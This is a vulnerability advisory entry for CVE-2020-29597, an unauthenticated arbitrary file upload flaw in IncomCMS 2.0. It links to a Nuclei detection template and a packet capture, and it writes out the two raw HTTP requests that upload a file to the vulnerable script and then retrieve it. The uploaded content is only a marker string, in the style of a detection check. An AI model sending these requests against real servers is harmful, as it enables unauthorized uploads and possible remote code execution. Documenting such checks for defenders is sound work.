| Title | IncomCMS 2.0 - Arbitrary File Upload |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can result in unauthorized access, data leakage, and potential remote code execution. |
| Remediation | Apply the latest security patch or update to a version that addresses the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.85276 |
| CVE ID | CVE-2020-29597 |
| CWE ID | CWE-434 |
| Tags | cve cve2020 incomcms fileupload intrusive incomcms_project vkev vuln |
IncomCMS 2.0 has a an insecure file upload vulnerability in modules/uploader/showcase/script.php. This allows unauthenticated attackers to upload files into the server.
POST /incom/modules/uploader/showcase/script.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Connection: close
Content-Length: 235
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt
Accept-Encoding: gzip
------WebKitFormBoundaryBEJZt0IK73M2mAbt
Content-Disposition: form-data; name="Filedata"; filename="38FTbzUfst1FBdvchO5TEYOBiLw.png"
Content-Type: text/html
38FTbyXuWEul84MZylJsJKIycmR
------WebKitFormBoundaryBEJZt0IK73M2mAbt--
GET /upload/userfiles/image/38FTbzUfst1FBdvchO5TEYOBiLw.png HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_3; en-ca) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-29597.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-29597.pcap
N/AN/A